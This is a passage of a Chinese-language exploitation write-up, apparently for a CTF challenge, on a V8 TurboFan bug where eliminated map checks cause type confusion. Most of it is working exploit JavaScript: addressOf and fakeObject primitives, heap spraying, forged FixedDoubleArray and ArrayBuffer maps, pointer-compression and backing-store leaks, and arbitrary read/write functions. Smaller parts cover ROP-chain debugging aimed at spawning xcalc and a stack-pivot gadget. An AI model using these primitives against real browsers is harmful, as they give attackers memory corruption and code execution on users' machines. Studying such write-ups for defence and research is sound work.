     let a = [1.1,2.2,3.3,4.4];
     let b = [a];
     x(b);
     a[0] = val;<=====数组a的第0项等于我们伪造的i2f(addr+1)



最后返回元素a[0]即为一个obj

即将双精度浮点型数据解释为指向一个对象的指针(key)

我们重新看一下脚本

function fakeObject(addr) {
   var fval = i2f64(addr + 1);
   let f = eval(`(x,y,val)=>{
     for(var i = 0; i < 200000; i++) { }
     let a = [1.1,2.2,3.3,4.4];
     let b = [a];
     x(b);<====b[0][0] = {} a的checkMap消除了,但是其会认为b[0]也就是a是fixed_array
     a[0] = val; <====b[0][0] = fval  设置为我们传进来的浮点数,a现在是fixed_array而不是fixed_double_array  , 如果此时a是具有checkMap会像heapNumber一样存储,但是checkMap消除了就会进行直接的赋值。a[0] = val 而不是a[0] = HeapNumber_ptr
     return y(b); <====return b[0][0] 像fixed_array一样,所以返回对象
   }`);
   for (var i=0;i<10;i++) {
      f((o)=>{},(o)=>{},fval);
   }
   return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}

这里改了下脚本

return f((o)=>{o[0][0] = {};},(o)=>{return o[0];},fval);

返回了b[0],也就是a

从图中可以看到a被当作了fixed_array,然后具体的解释就是上面的部分了

读取数据

前面费劲心思伪造了一个fake_double_array

下面就是使用它

var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
// console.log(hex(element_addr + 0x2c));
%DebugPrint(arb_fixeddouble_arr); //    <===============

//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);

看一下arb_fixeddouble_arr的内存布局

看一下我们能够泄露什么

到此fake_array任务结束

后面加了个函数

function addressOf_full(obj) {
   var addr = addressOf(obj);
   return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}

绕过指针压缩,这个函数就是将我们读取的addr扩展下

3.2 fake_array_buffer

脚本

function hex(i)
{
    return "0x"+i.toString(16).padStart(16, "0");
}



var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}

function i2f64(value) {
   dv.setBigUint64(0,BigInt(value),true);
   return dv.getFloat64(0,true);
}

function u64f(value) {
   dv.setFloat64(0,value,true);
   return dv.getBigUint64(0,true);
}

function u32f(value) {
   dv.setFloat64(0,value,true);
   return dv.getUint32(0,true);
}

function i2f(value) {
   dv.setUint32(0,value,true);
   return dv.getFloat32(0,true);
}

//
function opt0(o) {
   for(var i = 0; i < 200000; i++) { }
   let a = [1.1,2.2,3.3,4.4];
   let b = [a];
   o(b);
   return a[0];
}


for (var i=0;i<10;i++) {
   opt0((o)=>{});
}


var spary_size = 0x201;
var spary = new Array(spary_size);
for (var i=0;i<spary_size;i+=3) {
   spary[i] = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12,13.13,14.14,15.15);
   spary[i+1] = new ArrayBuffer(0x2000);
   spary[i+2] = new Float64Array(0x5);
}

function addressOf(obj) {
   var addr = opt0((o)=>{o[0][0] = obj;});
   return u32f(addr) - 1;
}

function fakeObject(addr) {
   var fval = i2f64(addr + 1);
   let f = eval(`(x,y,val)=>{
     for(var i = 0; i < 200000; i++) { }
     let a = [1.1,2.2,3.3,4.4];
     let b = [a];
     x(b);
     a[0] = val;
     return y(b);
   }`);
   for (var i=0;i<10;i++) {
      f((o)=>{},(o)=>{},fval);
   }
   return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}

let arr = spary[spary_size-0x3];
let arr_address = addressOf(arr);
let proto_addr = addressOf(Array.prototype);

%DebugPrint(arr);
%DebugPrint(spary);



//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));

let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;

//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,fake_element+1);
arr[6] = p64f(0x7ffffffe,0);

//fake a FixedDoubleArray's element
arr[7] = p64f(0,0x08042ab1);
arr[8] = p64f(0x7ffffffe,0);


var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);

//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
//alert(compression_high_bytes.toString(16));

function addressOf_full(obj) {
   var addr = addressOf(obj);
   return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}



arr = spary[spary_size-0x6];
arr_address = addressOf(arr);
proto_addr = addressOf(ArrayBuffer.prototype);

//fake a ArrayBuffer Map
arr[0] = p64f(0x08042115,0x140e0e0e);
arr[1] = p64f(0x19000424,0x084003ff);
arr[2] = p64f(proto_addr+1,0);

element_addr = arr_address + 0x14;
fake_element = element_addr+0x44;

//fake a ArrayBuffer
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,0x08042229);
arr[6] = p64f(0xffffffff,0);
arr[7] = p64f(0,0);
arr[9] = p64f(0,2);
var arb_arraybuffer = fakeObject(element_addr + 0x2c);
var adv = new DataView(arb_arraybuffer);

function read64(addr) {
   arr[7] = i2f64(addr);
   return adv.getBigUint64(0,true);
}

function write64(addr,value) {
   arr[7] = i2f64(addr);
   adv.setBigUint64(0,BigInt(value),true);
}
伪造fake_AF
print1

print2

更改的部分圈出

查一下正常ArrayBuffer的map值

我们对上面的大伪造图进行划分

fake_map

fake_arrayBuffer

这里忘了一点,调一下ABF的内存情况

a = new ArrayBuffer(0x200);

%DebugPrint(a);

%SystemBreak();

内存

所以应该是

A B C D
Map properties elements length
不知 backstore后32 backstore前32 heap_some
heap_some embedder fields2 ?

这里就是伪造第一行,中间置为0,最后一个2(这个测试了下,好像不影响)

利用fake_array_buffer
function read64(addr) {
   arr[7] = i2f64(addr);
   return adv.getBigUint64(0,true);
}

function write64(addr,value) {
   arr[7] = i2f64(addr);
   adv.setBigUint64(0,BigInt(value),true);
}

arr[7]正好是backstore,实现任意地址读写

4 关于源码我想搞清楚的几个问题

4.1 什么时候有checkmap

在调用数组取数据的时候

a[0] check代码

0x286d000857bd   1bd  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x286d000857c1   1c1  41b8fd383008   movl r8,0x83038fd       ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)> <==========
0x286d000857c7   1c7  443941ff       cmpl [rcx-0x1],r8
0x286d000857cb   1cb  0f859e010000   jnz 0x286d0008596f  <+0x36f>

不存在check是怎样的

0x2343000857de   1be  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x2343000857e2   1c2  448b4107       movl r8,[rcx+0x7] ;以DOUBLE_ELEMENTS的方式取数据

存在check

0x286d000857bd   1bd  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x286d000857c1   1c1  41b8fd383008   movl r8,0x83038fd       ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7   1c7  443941ff       cmpl [rcx-0x1],r8
0x286d000857cb   1cb  0f859e010000   jnz 0x286d0008596f  <+0x36f>
0x286d000857d1   1d1  448b4107       movl r8,[rcx+0x7]

都是先从栈上取数据,之后给rcx,然后通过rcx取值

5 问题

5.1 使用turbo的问题

不能正常的显示界面

尝试使用之前安装的命令

npm i
npm run-script build

出错

后来看7ov8师傅的blog说出现这样的问题是正常的

上面重新搭建之后,通过右击index.html 之后就可以正常使用了

5.2 关于default分支何时进入

在源码中有这样的注释

对于所有unknow nodes,会进入到这里

而调用函数正是一个unknown节点

5.3 计算器的问题,还有重定位bash

/usr/bin/xcalc

5.4 div对象内存查看调试

测试发现div对象只出现在html中

可以使用alert的方法暂停一下解析,

attach的进程

这样vmmap泄露的地址才有值

调试一下rop_chain位置

首先我使用alert命令

然后通过控制台下断点

但是没有段下来

之后reload了一下,成功断下

程序依次执行rop_chain

执行system失败了(原因暂时没有调试),之后ret到了0

6 细节

关于调试

打印优化代码

-print-opt-code

在源码中下断点,下断点的位置要精确

关于trace-turbo

--trace-turbo-path ../

设置文件的路径

关于打印优化代码

具体的优化函数

具体优化的代码(打印出来的就是)

通过特征快速定位优化代码中的关键部位

生成新的JIT代码以为着之前生成的JIT代码没有被触发,当函数调用次数大于opt优化次数时,后面调用opt都会使用最后的JIT代码,触发源代码中的patch。如果形成的JIT优化代码触发patch位置,同样会断下来

尽管我调用了很多次函数,但是我仍然可以在含有循环的js脚本中调试源码,因为只有在产生JIT代码的时候才会断在源码中

关于turbolizer图

可以看到下图中有三个json文件

这是因为运行本js的时候总共优化了三次

而对于本题来说我想看的是第三个

关于计算器

位置

/usr/bin/xcalc

关于obj的输出
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
console.log(hex(element_addr + 0x2c));
console.log(arb_fixeddouble_arr);<====error
%SystemBreak();

已经是obj了,要用%DebugPrint

当我打算%DebugPrint时(虽然程序崩了,但是确实返回JsArray)

用于对比 当我没有进行fake_obj时同一个地址
DebugPrint: Smi: 0x815a6e4 (135636708)
0x815a6e4
DebugPrint: 0x359b0815a6e5: [JSArray]
 - map: 0x359b0815a6c1 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x359b082cb5e9 <JSArray[0]>
 - elements: 0x359b0815a6fd <FixedDoubleArray[1073741823]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 1073741823
 - properties: 0x359b08042229 <FixedArray[0]> {

#
# Fatal error in ../../src/objects/heap-object.h, line 219
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (IsHeapObject()).
#
#
#
#FailureMessage Object: 0x7ffc880fcd80
==== C stack trace ===============================

    /  / /v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x21) [0x7fca669e1411]
    /  / /v8/out.gn/x64.debug/libv8_libplatform.so(+0x5905a) [0x7fca6696505a]
    /  / /v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x26f) [0x7fca669c8cbf]
    /  / /v8/out.gn/x64.debug/d8(v8::internal::HeapObject::HeapObject(unsigned long)+0x82) [0x5616c53ba582]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::TorqueGeneratedDescriptorArray<v8::internal::DescriptorArray, v8::internal::HeapObject>::TorqueGeneratedDescriptorArray(unsigned long)+0x27) [0x7fca64b9f787]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::DescriptorArray::DescriptorArray(unsigned long)+0x20) [0x7fca64b9f720]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::TaggedField<v8::internal::DescriptorArray, 24>::load(v8::internal::IsolateRoot, v8::internal::HeapObject, int)+0x53) [0x7fca64b9f693]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::Map::instance_descriptors(v8::internal::IsolateRoot, v8::RelaxedLoadTag) const+0x3d) [0x7fca64b9f62d]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::Map::instance_descriptors(v8::RelaxedLoadTag) const+0x48) [0x7fca64b80018]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::JSObject::PrintProperties(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x5d) [0x7fca64ee107d]
    /  / /v8/out.gn/x64.debug/libv8.so(+0x255b1a6) [0x7fca64ee51a6]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::JSArray::JSArrayPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x8f) [0x7fca64edcc4f]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::HeapObject::HeapObjectPrint(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&)+0x1aaa) [0x7fca64ed4dca]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::Object::Print(std::__Cr::basic_ostream<char, std::__Cr::char_traits<char> >&) const+0x100) [0x7fca64ed3310]
    /  / /v8/out.gn/x64.debug/libv8.so(+0x2f4a4a2) [0x7fca658d44a2]
    /  / /v8/out.gn/x64.debug/libv8.so(+0x2f2f5cd) [0x7fca658b95cd]
    /  / /v8/out.gn/x64.debug/libv8.so(v8::internal::Runtime_DebugPrint(int, unsigned long*, v8::internal::Isolate*)+0x128) [0x7fca658b9288]
    /  / /v8/out.gn/x64.debug/libv8.so(+0x1c8031a) [0x7fca6460a31a]

感觉这个时候应该使用release模式进行调试了

一个gafgets
xchg_rax_rsp  '0x48', '0x94'

7 参考

https://www.anquanke.com/post/id/224317

官方WP

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖